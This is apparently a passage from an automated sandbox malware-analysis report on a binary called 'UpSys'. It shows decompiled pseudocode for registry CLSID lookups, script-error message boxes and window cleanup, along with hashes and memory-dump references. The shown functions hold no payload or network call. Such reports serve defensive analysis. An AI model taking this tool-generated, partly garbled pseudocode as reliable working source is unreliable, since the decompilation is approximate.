				 *((intOrPtr*)(_t150 - 0x2e0 + 0xd0 + _t98 * 2)) = r12w;
				_t69 = E00000001140015220(_t98, _t100,  &_v552);
				__imp__CLSIDFromString();
				0x40017be8();
				RegCloseKey(_t144);
				E00000001140002610(E00000001140002610(E00000001140002610(RegCloseKey(??), _t98,  &_v640), _t98,  &_v704), _t98,  &_v672);
				return _t69;
			}






























                                                                                                                                                                                                        0x1400681a0
                                                                                                                                                                                                        0x1400681a0
                                                                                                                                                                                                        0x1400681a0
                                                                                                                                                                                                        0x1400681a3
                                                                                                                                                                                                        0x1400681a7
                                                                                                                                                                                                        0x1400681b6
                                                                                                                                                                                                        0x1400681b9
                                                                                                                                                                                                        0x1400681c1
                                                                                                                                                                                                        0x1400681c4
                                                                                                                                                                                                        0x1400681c7
                                                                                                                                                                                                        0x1400681ca
                                                                                                                                                                                                        0x1400681cf
                                                                                                                                                                                                        0x1400681d3
                                                                                                                                                                                                        0x1400681dd
                                                                                                                                                                                                        0x1400681e7
                                                                                                                                                                                                        0x1400681f8
                                                                                                                                                                                                        0x140068205
                                                                                                                                                                                                        0x140068216
                                                                                                                                                                                                        0x140068227
                                                                                                                                                                                                        0x14006822f
                                                                                                                                                                                                        0x140068235
                                                                                                                                                                                                        0x14006823c
                                                                                                                                                                                                        0x14006824a
                                                                                                                                                                                                        0x140068254
                                                                                                                                                                                                        0x140068257
                                                                                                                                                                                                        0x14006825f
                                                                                                                                                                                                        0x14006826b
                                                                                                                                                                                                        0x14006826b
                                                                                                                                                                                                        0x14006826f
                                                                                                                                                                                                        0x14006827e
                                                                                                                                                                                                        0x140068286
                                                                                                                                                                                                        0x140068297
                                                                                                                                                                                                        0x1400682b1
                                                                                                                                                                                                        0x1400682b7
                                                                                                                                                                                                        0x1400682c9
                                                                                                                                                                                                        0x1400682eb
                                                                                                                                                                                                        0x140068303
                                                                                                                                                                                                        0x140068309
                                                                                                                                                                                                        0x14006830c
                                                                                                                                                                                                        0x14006831c
                                                                                                                                                                                                        0x140068332
                                                                                                                                                                                                        0x140068335
                                                                                                                                                                                                        0x14006833a
                                                                                                                                                                                                        0x140068342
                                                                                                                                                                                                        0x140068347
                                                                                                                                                                                                        0x140068352
                                                                                                                                                                                                        0x140068362
                                                                                                                                                                                                        0x140068375
                                                                                                                                                                                                        0x14006837c
                                                                                                                                                                                                        0x140068385
                                                                                                                                                                                                        0x140068393
                                                                                                                                                                                                        0x14006839e
                                                                                                                                                                                                        0x1400683ab
                                                                                                                                                                                                        0x1400683d5
                                                                                                                                                                                                        0x1400683f3

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
                                                                                                                                                                                                        • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                                                                                                                                        • API String ID: 3030280669-22481851
                                                                                                                                                                                                        • Opcode ID: 12da006dacb9c74f982fd336debf4712f37c5470781f5a3b36787a7f422dcd15
                                                                                                                                                                                                        • Instruction ID: 3fe5f6fc88465e297beca5d8d6e28a4339ccd76df78cbc14ae9cec655cc870a6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 12da006dacb9c74f982fd336debf4712f37c5470781f5a3b36787a7f422dcd15
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A0518132214A8181EA61DB22F4507DEA765F7D8BC0F944112FB8D47BB9DF38C58ACB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140071BB0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 124windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 61%
                                                                                                                                                                                                        			E00000001140071BB0(void* __edx, void* __esi, long long __rax, long long __rbx, long long __rsi, long long __rbp, void* __r9, void* __r10, void* __r11, long long _a8, long long _a16, long long _a24, long long _a32, char _a40, char _a72, char _a104, char _a136, char _a168, void* _a8360) {
				void* __rdi;
				void* _t71;
				void* _t83;
				long long _t89;
				WCHAR* _t134;
				long long _t135;

				_t91 = __rbx;
				_t89 = __rax;
				if (__edx <= 0) goto 0x40071de7;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				E00000001140030CB0(0x20b0, __rax, __r10, __r11);
				_t138 = r9d;
				_t83 = __edx;
				GetModuleHandleW(_t134);
				r9d = 0xfff;
				LoadStringW(??, ??, ??, ??);
				E00000001140001D30(__rax, __rbx,  &_a136,  &_a168);
				GetModuleHandleW(??);
				r9d = 0xfff;
				LoadStringW(??, ??, ??, ??);
				E00000001140042190(E00000001140001D30(_t89, _t91,  &_a104,  &_a168), _t83);
				_t135 = _t89;
				_t71 = E00000001140042150(_t83, 0x400c7ef0);
				E000000011400421C0(E000000011400421F0(_t83, 0x400c7ef0), _t49);
				r8d = _t71;
				_t141 = _t89;
				if (_t89 != 0) goto 0x40071c9c;
				E000000011400178DC(_t89,  &_a168, L"Line %d:\n\n", 0x400c7ef0, __r9);
				goto 0x40071cab;
				E000000011400178DC(_t89,  &_a168, L"Line %d  (File \"%s\"):\n\n", 0x400c7ef0, _t89);
				E00000001140001D30(_t89, _t91,  &_a40,  &_a168);
				E00000001140011830(_t91,  &_a40, _t135, r9d, _t89);
				E00000001140011830(_t91,  &_a40, "\n", r9d, _t89);
				E0000000114000FD50(_t89, _t91,  &_a72);
				if (__esi < 0) goto 0x40071d38;
				E000000011400021B0(E000000011400107E0(_t89,  &_a72, _t135, _t135),  &_a72, r9d, 0xffffffffffffffff);
				E00000001140011830(_t91,  &_a72, L"^ ERROR", r9d, _t89);
				E00000001140004740( &_a40,  &_a72, _t89);
				E00000001140011830(_t91,  &_a40, "\n", _t138, _t89);
				E00000001140011830(_t91,  &_a40, L"\nError: ", _t138, _t141);
				E00000001140004740( &_a40,  &_a104, _t89);
				if ( *0x400c7ef3 == 0) goto 0x40071d89;
				_a32 = _a72;
				r8d = _t71;
				_a24 = _t135;
				E00000001140018334(L"%s (%d) : ==> %s: \n%s \n%s\n", _t141, 0xffffffffffffffff, _a104);
				goto 0x40071da4;
				r9d = 0x11010;
				return E00000001140002610(E00000001140002610(E00000001140002610(E00000001140002610(MessageBoxW(??, ??, ??, ??), _t91,  &_a72), _t91,  &_a40), _t91,  &_a104), _t91,  &_a136);
			}









                                                                                                                                                                                                        0x140071bb0
                                                                                                                                                                                                        0x140071bb0
                                                                                                                                                                                                        0x140071bb2
                                                                                                                                                                                                        0x140071bb8
                                                                                                                                                                                                        0x140071bbd
                                                                                                                                                                                                        0x140071bc2
                                                                                                                                                                                                        0x140071bcd
                                                                                                                                                                                                        0x140071bd7
                                                                                                                                                                                                        0x140071bdd
                                                                                                                                                                                                        0x140071bdf
                                                                                                                                                                                                        0x140071bfb
                                                                                                                                                                                                        0x140071bfe
                                                                                                                                                                                                        0x140071c14
                                                                                                                                                                                                        0x140071c1b
                                                                                                                                                                                                        0x140071c29
                                                                                                                                                                                                        0x140071c31
                                                                                                                                                                                                        0x140071c55
                                                                                                                                                                                                        0x140071c5d
                                                                                                                                                                                                        0x140071c6a
                                                                                                                                                                                                        0x140071c76
                                                                                                                                                                                                        0x140071c7b
                                                                                                                                                                                                        0x140071c86
                                                                                                                                                                                                        0x140071c8c
                                                                                                                                                                                                        0x140071c95
                                                                                                                                                                                                        0x140071c9a
                                                                                                                                                                                                        0x140071ca6
                                                                                                                                                                                                        0x140071cb8
                                                                                                                                                                                                        0x140071cc5
                                                                                                                                                                                                        0x140071cd6
                                                                                                                                                                                                        0x140071ce0
                                                                                                                                                                                                        0x140071ce7
                                                                                                                                                                                                        0x140071d02
                                                                                                                                                                                                        0x140071d13
                                                                                                                                                                                                        0x140071d22
                                                                                                                                                                                                        0x140071d33
                                                                                                                                                                                                        0x140071d44
                                                                                                                                                                                                        0x140071d53
                                                                                                                                                                                                        0x140071d5f
                                                                                                                                                                                                        0x140071d72
                                                                                                                                                                                                        0x140071d77
                                                                                                                                                                                                        0x140071d7d
                                                                                                                                                                                                        0x140071d82
                                                                                                                                                                                                        0x140071d87
                                                                                                                                                                                                        0x140071d96
                                                                                                                                                                                                        0x140071de7

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: HandleLoadModuleString$Message_errno
                                                                                                                                                                                                        • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                                                                                                                                                                        • API String ID: 2078091845-2268648507
                                                                                                                                                                                                        • Opcode ID: 8282f6f3a0391ca6186b2aa71cdf885985e01bba958228df3f8a860e05e49ac8
                                                                                                                                                                                                        • Instruction ID: 7d5ba3ba062fa6f5809f018794a49a1ee1fc78f3ab1bbc65cf980d09cbe725b3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8282f6f3a0391ca6186b2aa71cdf885985e01bba958228df3f8a860e05e49ac8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 53516171324B8592EA16EB56E4917DAA361F7D8BD0F804022FB5D07ABADF7CC505C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005F5A0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 109windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$CreateMessageObjectSend$AttributesCompatibleDeleteDestroyLayeredLongMovePixelSelectShowStock
                                                                                                                                                                                                        • String ID: static
                                                                                                                                                                                                        • API String ID: 2258642936-2160076837
                                                                                                                                                                                                        • Opcode ID: 78410bc4d981da574d8cd62049e9817007150305447d02255ca4073a373d6db3
                                                                                                                                                                                                        • Instruction ID: 07e7b6fdc6f82c3dad28210c74198feb15c5987f1f54841724b9a5534bff85bb
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 78410bc4d981da574d8cd62049e9817007150305447d02255ca4073a373d6db3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4D512D36604B8486EB21CF26E444B9AB7A5F78DBD0F544215EB9E83BA8DF3DC455CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140068650 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 98registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 18%
                                                                                                                                                                                                        			E00000001140068650(void* __ecx, void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rbp, unsigned int _a24, char _a32) {
				void* _v24;
				char _v552;
				char _v632;
				char _v640;
				char _v672;
				char _v680;
				signed long long _v688;
				void* _v696;
				void* _v704;
				signed long long _v712;
				void* __rdi;
				void* __rsi;
				void* _t55;
				void* _t61;
				void* _t75;
				signed long long _t76;
				signed long long _t78;
				short* _t101;
				int* _t103;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t110;
				void* _t117;

				_t79 = __rbx;
				_t75 = _t109;
				 *((long long*)(_t75 + 8)) = __rbx;
				 *((long long*)(_t75 + 0x10)) = __rbp;
				_t110 = _t109 - 0x2d0;
				_t104 = __rcx;
				r12d = 0;
				_t107 = __rdx;
				 *(_t75 + 0x18) = 0x28;
				E0000000114000FD50(_t75, __rbx,  &_v672);
				r9d = 0x20019;
				r8d = 0;
				_v712 =  &_v680;
				if (RegOpenKeyExW(??, ??, ??, ??, ??) != r12d) goto 0x40068800;
				_t76 =  &_v640;
				_v688 = _t76;
				_v696 = _t117;
				_v704 = _t117;
				_v712 = _t117;
				if (RegEnumKeyExW(??, ??, ??, ??, ??, ??, ??, ??) != r12d) goto 0x400687f5;
				 *((intOrPtr*)(_t110 + 0x70 + _t76 * 2)) = r12w;
				_a24 = 0x1fe;
				E000000011400107E0(_t76,  &_v672, L"interface\\", _t101);
				E00000001140011830(_t79,  &_v672,  &_v632, _t104, _t107);
				r9d = 0x20019;
				r8d = 0;
				_v712 =  &_a32;
				if (RegOpenKeyExW(??, ??, ??, ??, ??) != r12d) goto 0x400687de;
				r9d = 0;
				_v704 =  &_a24;
				_t78 =  &_v552;
				r8d = 0;
				_v712 = _t78;
				if (RegQueryValueExW(_t117, _t101, _t103) != r12d) goto 0x400687d0;
				_a24 = _a24 >> 1;
				 *((intOrPtr*)(_t110 + 0xc0 + _t78 * 2)) = r12w;
				_t55 = E00000001140016D8C(_t78,  &_v552, _t107);
				if (_t55 != r12d) goto 0x400687d0;
				__imp__IIDFromString();
				_t61 = _t55;
				RegCloseKey(??);
				if (_t61 == r12d) goto 0x400687f5;
				_a24 = 0x28;
				goto 0x400686b8;
				E00000001140002610(RegCloseKey(??), _t79,  &_v672);
				return _t61;
			}



























                                                                                                                                                                                                        0x140068650
                                                                                                                                                                                                        0x140068650
                                                                                                                                                                                                        0x140068653
                                                                                                                                                                                                        0x140068657
                                                                                                                                                                                                        0x14006865f
                                                                                                                                                                                                        0x140068666
                                                                                                                                                                                                        0x14006866e
                                                                                                                                                                                                        0x140068671
                                                                                                                                                                                                        0x140068679
                                                                                                                                                                                                        0x140068683
                                                                                                                                                                                                        0x140068694
                                                                                                                                                                                                        0x14006869a
                                                                                                                                                                                                        0x1400686a4
                                                                                                                                                                                                        0x1400686b2
                                                                                                                                                                                                        0x1400686bd
                                                                                                                                                                                                        0x1400686ca
                                                                                                                                                                                                        0x1400686cf
                                                                                                                                                                                                        0x1400686db
                                                                                                                                                                                                        0x1400686e0
                                                                                                                                                                                                        0x1400686ee
                                                                                                                                                                                                        0x140068707
                                                                                                                                                                                                        0x14006870d
                                                                                                                                                                                                        0x140068718
                                                                                                                                                                                                        0x140068727
                                                                                                                                                                                                        0x140068739
                                                                                                                                                                                                        0x14006873f
                                                                                                                                                                                                        0x140068749
                                                                                                                                                                                                        0x140068757
                                                                                                                                                                                                        0x14006876d
                                                                                                                                                                                                        0x140068770
                                                                                                                                                                                                        0x140068775
                                                                                                                                                                                                        0x14006877d
                                                                                                                                                                                                        0x140068782
                                                                                                                                                                                                        0x140068790
                                                                                                                                                                                                        0x1400687a6
                                                                                                                                                                                                        0x1400687ad
                                                                                                                                                                                                        0x1400687b6
                                                                                                                                                                                                        0x1400687be
                                                                                                                                                                                                        0x1400687c8
                                                                                                                                                                                                        0x1400687ce
                                                                                                                                                                                                        0x1400687d8
                                                                                                                                                                                                        0x1400687e1
                                                                                                                                                                                                        0x1400687e5
                                                                                                                                                                                                        0x1400687f0
                                                                                                                                                                                                        0x140068805
                                                                                                                                                                                                        0x140068823

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseOpen$EnumFromQueryStringValue
                                                                                                                                                                                                        • String ID: ($interface$interface\
                                                                                                                                                                                                        • API String ID: 297354694-3327702407
                                                                                                                                                                                                        • Opcode ID: 26cc0edcc5a1b671f52210ebc6c957a4181a45e0431c7ab39113af27f9f29a8c
                                                                                                                                                                                                        • Instruction ID: bbfa3fc5f96e4902d14244dc598eaae3405a270fa36e1577798d7a01374e9b21
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 26cc0edcc5a1b671f52210ebc6c957a4181a45e0431c7ab39113af27f9f29a8c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2C413D32218A8182EB61CB16F4547CAB3A5F7D8784FA04211FB8D47BB9DF39C546CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140082610 Relevance: 16.7, APIs: 11, Instructions: 167windowtimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140082610(signed int __ecx, signed int __edx, void* __esi, long long __rbx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				intOrPtr _t42;
				intOrPtr _t54;
				int _t56;
				void* _t57;
				intOrPtr _t63;
				intOrPtr _t65;
				void* _t98;
				intOrPtr _t99;
				intOrPtr _t100;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t113;
				intOrPtr _t114;
				long long _t115;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed long long _t141;
				intOrPtr _t144;
				intOrPtr _t148;
				signed long long _t149;
				intOrPtr _t155;
				void* _t159;
				intOrPtr _t164;
				struct HACCEL__* _t165;
				signed long long _t166;

				_t115 = __rbx;
				_t98 = _t159;
				 *((long long*)(_t98 + 8)) = __rbx;
				 *((long long*)(_t98 + 0x10)) = __rbp;
				 *((long long*)(_t98 + 0x18)) = __rsi;
				 *((long long*)(_t98 + 0x20)) = __rdi;
				_t99 =  *0x400c6aa0; // 0x0
				_t166 = __edx;
				r8d = 0;
				_t155 =  *((intOrPtr*)( *((intOrPtr*)(_t99 + __edx * 8))));
				E0000000114003CF70();
				if ( *((intOrPtr*)(_t155 + 0x28)) == 0) goto 0x4008265b;
				DestroyAcceleratorTable(_t165);
				_t63 =  *0x400c6ae4; // 0x2
				if (_t63 - 3 < 0) goto 0x400827ab;
				_t100 =  *0x400c6ac8; // 0x3264820
				_t121 =  *((intOrPtr*)(__rbx + _t100));
				if ( *_t121 == 0) goto 0x4008279d;
				_t122 =  *_t121;
				if ( *((intOrPtr*)(_t122 + 8)) !=  *((intOrPtr*)(_t155 + 8))) goto 0x4008279d;
				_t42 =  *((intOrPtr*)(_t122 + 0xf4));
				if (_t42 == 0xa) goto 0x400826fa;
				if (_t42 == 0x10) goto 0x400826fa;
				if (_t42 == 0x13) goto 0x400826d7;
				if (_t42 == 0x1b) goto 0x400826c3;
				if (_t42 != 0x1d) goto 0x40082709;
				E000000011400643C0(_t100, __rbx, 0x400c6a00, _t122, _t155, _t155);
				goto 0x40082709;
				E0000000114003CF70();
				goto 0x40082709;
				if ( *0x1400C6A68 == 0) goto 0x400826e6;
				ImageList_Destroy(??);
				_t101 =  *0x400c6ac8; // 0x3264820
				goto 0x400826fe;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t115 + _t101)))) + 0x70)) + 0x78)) == 0) goto 0x40082709;
				ImageList_Destroy(??);
				_t103 =  *0x400c6ac8; // 0x3264820
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t115 + _t103)))) + 0xb8)) == 0) goto 0x40082729;
				DeleteObject(??);
				_t105 =  *0x400c6ac8; // 0x3264820
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t115 + _t105)))) + 0xc0)) == 0) goto 0x40082749;
				DestroyIcon(??);
				_t107 =  *0x400c6ac8; // 0x3264820
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t115 + _t107)))) + 0x80)) == 0) goto 0x40082769;
				DeleteObject(??);
				_t109 =  *0x400c6ac8; // 0x3264820
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t115 + _t109)))) + 0x90)) == 0) goto 0x40082789;
				DestroyWindow(??);
				E00000001140060AF0(3, __esi, _t115, 0x400c6a00, _t155);
				_t65 =  *0x400c6ae4; // 0x2
				if (4 - _t65 <= 0) goto 0x40082671;
				if ( *((intOrPtr*)(_t155 + 0x38)) == 0) goto 0x400827ba;
				DestroyIcon(??);
				if ( *((intOrPtr*)(_t155 + 0x40)) == 0) goto 0x400827c9;
				DestroyIcon(??);
				_t148 =  *0x400c6aa0; // 0x0
				if ( *((intOrPtr*)( *((intOrPtr*)(_t148 + _t166 * 8)))) == 0) goto 0x400827ed;
				E00000001140082370( *((intOrPtr*)(_t148 + _t166 * 8)),  *((intOrPtr*)( *((intOrPtr*)(_t148 + _t166 * 8)))));
				_t149 =  *0x400c6aa0; // 0x0
				 *( *(_t149 + _t166 * 8)) =  *( *(_t149 + _t166 * 8)) & 0x00000000;
				_t54 =  *0x400c6ab8; // 0xffffffff
				r9d =  *0x400c6a20; // 0x0
				r9d = r9d - 1;
				_t55 =  ==  ? __ecx | 0xffffffff : _t54;
				 *0x400c6a20 = r9d;
				 *0x400c6ab8 =  ==  ? __ecx | 0xffffffff : _t54;
				if (r9d != 1) goto 0x40082855;
				_t164 =  *0x400c6aa8;
				r8d = 0;
				if (_t164 <= 0) goto 0x4008284e;
				_t113 =  *0x400c6aa0; // 0x0
				_t141 =  *((intOrPtr*)(_t113 + _t149 * 8));
				if ( *_t141 != 0) goto 0x4008284e;
				r8d = r8d + 1;
				if (_t149 + 1 - _t164 < 0) goto 0x40082832;
				 *0x400c6ab8 = r8d;
				if (r9d != 0) goto 0x40082891;
				_t56 = KillTimer(??, ??);
				 *0x400c6a28 =  *0x400c6a28 & 0x00000000;
				goto 0x40082891;
				_t114 =  *0x400c6aa0; // 0x0
				if ( *((long long*)( *((intOrPtr*)(_t114 + _t141 * 8 - 8)))) != 0) goto 0x4008289d;
				_t57 = E0000000114003CF10(_t56, _t115 + 8, 0x400c6a98);
				_t144 =  *0x400c6aa8; // 0x0
				if (_t144 != 0) goto 0x40082873;
				return _t57;
			}































                                                                                                                                                                                                        0x140082610
                                                                                                                                                                                                        0x140082610
                                                                                                                                                                                                        0x140082613
                                                                                                                                                                                                        0x140082617
                                                                                                                                                                                                        0x14008261b
                                                                                                                                                                                                        0x14008261f
                                                                                                                                                                                                        0x140082629
                                                                                                                                                                                                        0x140082630
                                                                                                                                                                                                        0x140082633
                                                                                                                                                                                                        0x14008263a
                                                                                                                                                                                                        0x140082647
                                                                                                                                                                                                        0x140082653
                                                                                                                                                                                                        0x140082655
                                                                                                                                                                                                        0x14008265b
                                                                                                                                                                                                        0x140082668
                                                                                                                                                                                                        0x140082671
                                                                                                                                                                                                        0x140082678
                                                                                                                                                                                                        0x140082680
                                                                                                                                                                                                        0x140082686
                                                                                                                                                                                                        0x14008268f
                                                                                                                                                                                                        0x140082695
                                                                                                                                                                                                        0x14008269d
                                                                                                                                                                                                        0x1400826a1
                                                                                                                                                                                                        0x1400826a5
                                                                                                                                                                                                        0x1400826a9
                                                                                                                                                                                                        0x1400826ad
                                                                                                                                                                                                        0x1400826bc
                                                                                                                                                                                                        0x1400826c1
                                                                                                                                                                                                        0x1400826d0
                                                                                                                                                                                                        0x1400826d5
                                                                                                                                                                                                        0x1400826de
                                                                                                                                                                                                        0x1400826e0
                                                                                                                                                                                                        0x1400826e6
                                                                                                                                                                                                        0x1400826f8
                                                                                                                                                                                                        0x140082701
                                                                                                                                                                                                        0x140082703
                                                                                                                                                                                                        0x140082709
                                                                                                                                                                                                        0x140082721
                                                                                                                                                                                                        0x140082723
                                                                                                                                                                                                        0x140082729
                                                                                                                                                                                                        0x140082741
                                                                                                                                                                                                        0x140082743
                                                                                                                                                                                                        0x140082749
                                                                                                                                                                                                        0x140082761
                                                                                                                                                                                                        0x140082763
                                                                                                                                                                                                        0x140082769
                                                                                                                                                                                                        0x140082781
                                                                                                                                                                                                        0x140082783
                                                                                                                                                                                                        0x140082792
                                                                                                                                                                                                        0x140082797
                                                                                                                                                                                                        0x1400827a5
                                                                                                                                                                                                        0x1400827b2
                                                                                                                                                                                                        0x1400827b4
                                                                                                                                                                                                        0x1400827c1
                                                                                                                                                                                                        0x1400827c3
                                                                                                                                                                                                        0x1400827c9
                                                                                                                                                                                                        0x1400827da
                                                                                                                                                                                                        0x1400827e1
                                                                                                                                                                                                        0x1400827e6
                                                                                                                                                                                                        0x1400827f4
                                                                                                                                                                                                        0x1400827f8
                                                                                                                                                                                                        0x1400827fe
                                                                                                                                                                                                        0x140082805
                                                                                                                                                                                                        0x14008280b
                                                                                                                                                                                                        0x14008280e
                                                                                                                                                                                                        0x140082815
                                                                                                                                                                                                        0x14008281f
                                                                                                                                                                                                        0x140082821
                                                                                                                                                                                                        0x140082828
                                                                                                                                                                                                        0x140082830
                                                                                                                                                                                                        0x140082832
                                                                                                                                                                                                        0x140082839
                                                                                                                                                                                                        0x140082841
                                                                                                                                                                                                        0x140082846
